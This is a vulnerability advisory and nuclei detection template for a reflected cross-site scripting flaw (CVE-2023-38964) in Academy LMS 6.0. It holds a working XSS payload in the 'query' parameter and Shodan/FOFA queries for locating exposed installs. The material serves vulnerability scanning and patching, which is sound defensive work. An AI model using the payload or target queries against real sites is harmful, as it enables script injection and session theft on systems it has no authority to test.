Academy LMS 6.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

Creative Item Academy LMS 6.0 was discovered to contain a cross-site scripting (XSS) vulnerability through `query` parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Apply the latest security patches provided by the vendor to mitigate the XSS vulnerability in Creative Item Academy LMS 6.0.

How to confirm it

Send: GET {{BaseURL}}/home/courses?query="><svg+onload=alert(document.domain)>
Positive when: status_code == 200 and contains(header, "text/html") and contains_all(body, "<svg onload=alert(document.domain)>", "All courses</span>")

Run it with nuclei: nuclei -id CVE-2023-38964 -u <target>

The full check

id: CVE-2023-38964

info:
  name: Academy LMS 6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Creative Item Academy LMS 6.0 was discovered to contain a cross-site scripting (XSS) vulnerability through `query` parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patches provided by the vendor to mitigate the XSS vulnerability in Creative Item Academy LMS 6.0.
  reference:
    - https://vida03.gitbook.io/redteam/web/cve-2023-38964
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38964
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38964
    cwe-id: CWE-79
    epss-score: 0.01092
    epss-percentile: 0.65699
    cpe: cpe:2.3:a:creativeitem:academy_lms:6.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_lms
    shodan-query: http.html:"academy lms"
    fofa-query:
      - body="Academy LMS"
      - body="academy lms"
  tags: cve2023,cve,academylms,xss,creativeitem,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/home/courses?query="><svg+onload=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(body, "<svg onload=alert(document.domain)>", "All courses</span>")'
        condition: and

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